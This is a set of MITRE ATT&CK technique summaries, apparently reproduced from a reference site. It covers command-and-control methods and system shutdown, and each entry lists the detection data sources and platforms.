Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre